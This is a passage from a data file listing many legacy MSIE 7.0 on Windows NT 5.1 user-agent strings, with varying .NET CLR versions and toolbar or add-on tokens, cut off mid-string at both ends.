(compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.590; Alexa Toolbar; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Lunascape 5.0 alpha3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Zune 2.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Zango 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Zune 3.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; InfoPath.2; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Advanced Searchbar 3.36; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Advanced Searchbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Advanced Searchbar; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; SLCC1; Media Center PC 5.0; .NET CLR 3.0.04506; MEGAUPLOAD 2.0; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.6.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.0; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; iOpus-I-M; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Crazy Browser 3.0.0 Beta2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Deepnet Explorer 1.5.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Deepnet Explorer 1.5.3; Smart 2x2; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Deepnet Explorer 1.5.3; Smart 2x2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; DigExt; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FBSMTWB; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ESES)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FBSMTWB; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FBSMTWB; GTB6.3; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR.3.0.04131.06)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts-MyWay; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.8.4; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 10.2.203.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.314.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.328.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.3.35.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; Zango 10.3.36.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; .NET CLR 2.0.50727; Zune 2.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Deepnet Explorer 1.5.2; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MEGAUPLOAD 2.0; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6.3; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.0.314.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbARS/5.8.0.12304)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.6); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 